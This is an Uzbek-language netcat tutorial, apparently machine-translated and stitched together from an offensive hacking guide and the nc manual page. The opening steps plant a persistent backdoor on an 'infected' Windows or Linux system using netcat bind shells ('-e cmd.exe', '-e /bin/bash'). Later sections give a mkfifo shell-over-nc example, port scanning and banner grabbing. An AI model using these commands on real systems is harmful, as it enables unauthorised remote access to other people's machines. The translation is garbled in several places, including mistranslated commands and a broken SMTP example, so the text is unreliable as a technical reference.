Endi masofaviy tizimda tinglovchi yaratish uchun netcat-dan foydalanamiz. Faraz qilaylik, bizda netcat o'rnatilgan Windows Server bor. Endi biz ushbu tizimdagi 6996 portida (bu har qanday port bo'lishi mumkin) netcat tinglovchisini ochish uchun quyidagilarni kiritishimiz mumkin:
·nc - l -p 6996
Bizning bo'sh vaqtimizga ulanishi mumkin bo'lgan "tinglovchi" shunday yaratilgan. E'tibor bering, Windows tizimlarida biz xuddi shu buyruqni katta L harfi bilan bajarishimiz mumkin va bu tizim qayta ishga tushirilganda ham ochiladigan doimiy tinglovchini yaratadi.
5-qadam: Orqa eshik yarating
Keling, istalgan vaqtda qaytib kelishimiz uchun infektsiyalangan tizimda orqa eshik yarataylik. Buyruq qaysi tizimga, Linux yoki Windowsga hujum qilayotganimizga qarab biroz farq qiladi.
Windows uchun biz foydalanamiz:
·nc -l -p 6996 -e cmd.exe
Linux uchun biz foydalanamiz:
·nc -l -p 6996 -e /bin/bash
·nc 192.168.1.105 6996
Ko'rib turganingizdek, Windows buyruq qatori bizning netcat ulanishimiz orqali bizning hujum tizimimizga o'tkazildi! Bizda bu quti bor!
nc [-46bCDdhklnrStUuvZz] [-I uzunligi] [-i interval] [-O uzunligi] [-P proksi_foydalanuvchi nomi] [-p manba_port] [-q soniya] [-s manba] [-T kalit so'z] [-V jadval] [-w taym-aut; turib qolish; tanaffus] [-X proxy_protocol] [-x proksi_manzil[:port]] [maqsad] [port]Variantlar
-4 | Kuchlar nc faqat IPv4 manzillaridan foydalanish uchun. |
-6 | Kuchlar nc faqat IPv6 manzillaridan foydalanish uchun. |
-b | Efirga ruxsat berish. |
-C | Chiziq oxiri sifatida yuboring. |
-D | Rozetkada nosozliklarni tuzatishni yoqing. |
-d | stdin dan o'qishga urinmang. |
-h | nc yordamini chop etadi. |
-I uzunligi | TCP qabul qilish buferining hajmini belgilaydi. |
-i interval | Yuborilgan va qabul qilingan matn satrlari orasidagi kechikish vaqti oralig'ini belgilaydi. Bundan tashqari, bir nechta portlarga ulanishlar orasidagi kechikish vaqtiga olib keladi. |
-k | Kuchlar nc joriy ulanish tugallangandan keyin boshqa ulanishni tinglashni davom ettirish. Ushbu parametrdan foydalanmasdan foydalanish xatodir -l variant. |
-l | Buni belgilash uchun ishlatiladi nc masofaviy xostga ulanishni boshlashdan ko'ra, kiruvchi ulanishni tinglash kerak. Ushbu parametrni bilan birgalikda ishlatish xato -p, -s, yoki -z variantlari. Bundan tashqari, bilan belgilangan har qanday vaqt tugashi -w variant e'tiborga olinmaydi. |
-n | Belgilangan manzillar, xost nomlari yoki portlarda hech qanday DNS yoki xizmat qidiruvlarini amalga oshirmang. |
-O uzunligi | TCP yuborish buferining hajmini belgilaydi. |
-P proksi_foydalanuvchi nomi | Autentifikatsiyani talab qiluvchi proksi-serverga taqdim etish uchun foydalanuvchi nomini belgilaydi. Agar foydalanuvchi nomi ko'rsatilmagan bo'lsa, autentifikatsiyaga urinilmaydi. Proksi autentifikatsiyasi hozirda faqat HTTP CONNECT proksi-serverlari uchun qo'llab-quvvatlanadi. |
-p manba_port | Imtiyoz cheklovlari va mavjudligiga qarab nc foydalanishi kerak bo'lgan manba portini belgilaydi. |
-q soniya | stdin-da EOF-dan so'ng, belgilangan soniyalarni kuting va keyin chiqing. Agar soniyalar salbiy bo'lsa, abadiy kuting. |
-r | Manba yoki maqsadli portlar diapazon ichida yoki tizim ularni tayinlagan tartibda ketma-ket emas, tasodifiy tanlanishi kerakligini bildiradi. |
-S | RFC 2385 TCP MD5 imzo opsiyasini yoqadi. |
-s manba | Paketlarni yuborish uchun ishlatiladigan interfeysni belgilaydi. UNIX-domen datagram soketlari uchun datagrammalarni qabul qilish uchun yaratish va foydalanish uchun mahalliy vaqtinchalik rozetka faylini belgilaydi. Ushbu parametrni bilan birgalikda ishlatish xato -l variant. |
-T kalit so'z | IPv4 TOS qiymatini o'zgartiring. kalit so'z biri bo'lishi mumkin tanqidiy, inetcontrol, arzon, past kechikish, tarmoq nazorati, o'tkazish qobiliyati, ishonchlilik, yoki DiffServ kod nuqtalaridan biri: ef, af11 ... af43, cs0 ... cs7; yoki oltilik yoki o'nlik son. |
-t | Sabablari nc RFC 854 DO va WILL so'rovlariga RFC 854 DON"T va WON"T javoblarini yuborish. Bu telnet seanslarini yozish uchun nc dan foydalanish imkonini beradi. |
-U | UNIX-domen soketlaridan foydalanishni belgilaydi. |
-u | Standart TCP opsiyasi o'rniga UDP dan foydalaning. UNIX-domen soketlari uchun oqim soketi o'rniga datagram soketidan foydalaning. Agar UNIX-domen rozetkasi ishlatilsa, vaqtinchalik qabul qiluvchi soket /tmp da yaratiladi, agar -s bayroq beriladi. |
-V jadval | Foydalanish uchun marshrutlash jadvalini o'rnating. Standart 0. |
-v | bor nc ko'proq batafsil ma'lumot bering. |
-w taym-aut; turib qolish; tanaffus | O'rnatib bo'lmaydigan ulanishlar yoki vaqt tugashi soniyalaridan keyin ishlamay qolgan. The -w bayroqqa ta'sir qilmaydi -l variant, ya'ni. nc bilan yoki usiz ulanish uchun abadiy tinglaydi -w bayroq. Standart vaqt tugashi yo'q. |
-X proxy_protocol | nc proksi-server bilan gaplashayotganda belgilangan protokoldan foydalanishini so'raydi. Qo'llab-quvvatlanadigan protokollar " 4 "(SOCKS v.4)" 5 " (SOCKS v.5) va " ulanmoq" (HTTPS proksi). Agar protokol ko'rsatilmagan bo'lsa, SOCKS 5-versiyasi ishlatiladi. |
-x proksi_manzil[:port] | Buni talab qiladi nc manziliga proksi-server yordamida ulanishi kerak proksi_manzil va port. Agar port ko'rsatilmagan, proksi-protokol uchun taniqli port ishlatiladi (SOCKS uchun 1080, HTTPS uchun 3128). |
-Z | DCCP rejimi. |
-z | nc hech qanday ma'lumot yubormasdan, faqat tinglovchi demonlarni skanerlashi kerakligini bildiradi. Ushbu parametrni bilan birgalikda ishlatish xato -l variant. |
maqsad raqamli IP manzil yoki ramziy xost nomi bo'lishi mumkin (agar -n variant berilgan). Umuman olganda, manzil ko'rsatilishi kerak, agar bo'lmasa -l variant berilgan (bu holda mahalliy xost ishlatiladi). UNIX-domen rozetkalari uchun maqsadli manzil talab qilinadi va u ulanish uchun rozetka yo'lidir (yoki tinglash kerak bo'lsa). -l variant berilgan).
port bitta butun yoki bir qator portlar bo'lishi mumkin. Diapazonlar shaklda nn-mm. Umuman olganda, maqsad port ko'rsatilishi kerak, agar -U variant beriladi.
Mijoz/server modeli
Foydalanishda juda oddiy mijoz/server modelini yaratish juda oddiy nc. Bitta konsolda boshlang nc ulanish uchun ma'lum bir portda tinglash. Masalan:
Nc -l 1234
nc hozir portda tinglayapti 1234 ulanish uchun. Ikkinchi konsolda (yoki ikkinchi mashinada) tinglanayotgan mashina va portga ulaning:
Nc 127.0.0.1 1234
Endi portlar o'rtasida aloqa bo'lishi kerak. Ikkinchi konsolda yozilgan har qanday narsa birinchisiga birlashtiriladi va aksincha. Ulanish o'rnatilgandan so'ng, nc Qaysi tomon “server” va qaysi tomon “mijoz” sifatida foydalanilayotganiga ahamiyat bermaydi. Ulanish EOF (') yordamida tugatilishi mumkin. ^D’).
Bu yerda yo'q -c yoki -e zamonaviy netcat-dagi variant, lekin fayl identifikatorlarini qayta yo'naltirish orqali ulanish o'rnatilgandan keyin ham buyruqni bajarishingiz mumkin. Bu erda ehtiyot bo'ling, chunki portni ochish va ulangan har kimga saytingizda o'zboshimchalik bilan buyruqni bajarishga ruxsat berish XAVFLI. Agar chindan ham buni qilish kerak bo'lsa, bu erda bir misol:
"Server" tomonida:
Rm -f /tmp/f; mkfifo /tmp/f mushuk /tmp/f | /bin/sh -i 2>&1 | nc -l 127.0.0.1 1234 > /tmp/f
"Mijoz" tomonida:
Nc host.example.com 1234
(host.example.com saytidan qobiq so'rovi)
Foydalanishdan boshlang nc ma'lum bir portda tinglash uchun, faylga olingan chiqish bilan:
Nc -l 1234 > filename.out
Ikkinchi mashinadan foydalanib, tinglashga ulaning nc jarayon, unga uzatilishi kerak bo'lgan faylni berish:
Nc host.example.com 1234< filename.in
Fayl uzatilgandan so'ng, ulanish avtomatik ravishda yopiladi.
Serverlar bilan gaplashish
Ba'zan serverlar bilan foydalanuvchi interfeysi orqali emas, balki "qo'lda" gaplashish foydali bo'ladi. Mijoz tomonidan berilgan buyruqlarga javoban server qanday ma'lumotlarni yuborayotganligini tekshirish zarur bo'lganda, u muammolarni bartaraf etishda yordam berishi mumkin. Masalan, veb-saytning bosh sahifasini olish uchun:
Printf "GET / HTTP/1.0\r\n\r\n" | nc host.example.com 80
E'tibor bering, bu veb-server tomonidan yuborilgan sarlavhalarni ham ko'rsatadi. kabi vositalar yordamida ularni filtrlash mumkin sed, agar kerak bo'lsa.
Agar foydalanuvchi server tomonidan talab qilinadigan so'rovlar formatini bilsa, yanada murakkab misollarni yaratish mumkin. Yana bir misol sifatida, elektron pochta SMTP serveriga quyidagi usullar yordamida yuborilishi mumkin:
Nc [-C] localhost 25<< EOF HELO host.example.com MAIL FROM:< >RCPT TO:< >DATA Elektron pochta. . EOFDAN CHIKADI
Port skanerlash
Maqsadli mashinada qaysi portlar ochiq va xizmatlar ishlayotganligini bilish foydali bo'lishi mumkin. The -z bayroqdan foydalanish mumkin nc ulanishni boshlash o'rniga ochiq portlar haqida xabar berish. Odatda, ushbu parametr bilan birgalikda foydalanish orqali stderr ga batafsil chiqishni yoqish foydalidir. -v variant.
Nc -zv host.example.com 20-30 host.example.com 22 portiga ulanish muvaffaqiyatli amalga oshirildi! host.example.com 25 portiga ulandi!
Port diapazoni portlarni qidirishni cheklash uchun belgilangan 20 - 30 , va ortib borayotgan tartib orqali skanerlanadi.
Shuningdek, skanerlash uchun portlar ro'yxatini belgilashingiz mumkin, masalan:
Nc -zv host.example.com 80 20 22 nc: host.example.com ga ulanish 80 (tcp) bajarilmadi: Ulanish rad etildi nc: host.example.com ga ulanish 20 (tcp) amalga oshmadi: ulanish rad etildi Host.example ga ulanish .com porti muvaffaqiyatli!
Portlar siz bergan buyurtma bo'yicha skanerlanadi.
Shu bilan bir qatorda, qaysi server dasturiy ta'minoti ishlayotganini va qaysi versiyalarini bilish foydali bo'lishi mumkin. Ushbu ma'lumot ko'pincha tabrik bannerlarida mavjud. Bularni olish uchun avval ulanishni amalga oshirish kerak, keyin esa banner olinganda ulanishni uzish kerak. Bu bilan kichik vaqt tugashini belgilash orqali amalga oshirilishi mumkin -w bayroqcha yoki serverga "QUIT" buyrug'ini berish orqali:
Echo "QUIT" | nc host.example.com 20-30 SSH-1.99-OpenSSH_3.6.1p2 Protokol mos kelmasligi. 220 host.example.com IMS SMTP qabul qiluvchi versiyasi 0.84 tayyor
Misollar
nc -p 31337 -w 5 host.example.com 42Portga TCP ulanishini ochadi 42 ning host.example.com port yordamida 31337 manba port sifatida, vaqt tugashi bilan 5 soniya.
Nc -u host.example.com 53 nc -x10.2.3.4:8080 -Xconnect -Pruser host.example.com 42
Yuqoridagi misol bilan bir xil, lekin bu safar foydalanuvchi nomi bilan proksi-server autentifikatsiyasini yoqish " ruser"agar proksi-server buni talab qilsa.
Tegishli buyruqlar
ifconfig— Tarmoq interfeyslari konfiguratsiyasini ko'rish yoki o'zgartirish.